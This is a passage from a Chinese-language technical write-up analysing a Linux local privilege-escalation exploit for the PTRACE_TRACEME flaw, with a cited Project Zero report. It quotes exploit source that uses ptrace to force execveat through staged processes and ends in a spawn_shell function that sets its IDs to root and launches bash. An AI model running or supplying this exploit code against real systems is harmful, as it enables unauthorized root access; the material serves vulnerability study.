133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

```

函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程（即 exploit 的可执行程序）然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数

```c
167 int main(int argc, char **argv) {
168   if (strcmp(argv[0], "stage2") == 0)
169     return middle_stage2();
170   if (strcmp(argv[0], "stage3") == 0)
171     return spawn_shell();
```

而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数，将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3


```c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }
```

当 exploit binary 以参数 stage3 运行时，实际运行的是  spawn_shell 函数, 所以 task C 最后阶段运行的是 spawn_shell


```c
160 static int spawn_shell(void) {
161   SAFE(setresgid(0, 0, 0));
162   SAFE(setresuid(0, 0, 0));
163   execlp("bash", "bash", NULL);
164   err(1, "execlp");
165 }

```

在 spawn_shell 函数里， 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的 setresuid/setresgid 可以成功执行，到此为止， task C 就变成了一个完全的 root 进程， 最后再执行 execlp 启动一个 shell, 即得到了一个完整 root 权限的 shell

## 引用

 - [ broken permission and object lifetime handling for PTRACE_TRACEME](https://bugs.chromium.org/p/project-zero/issues/detail?id=1903)
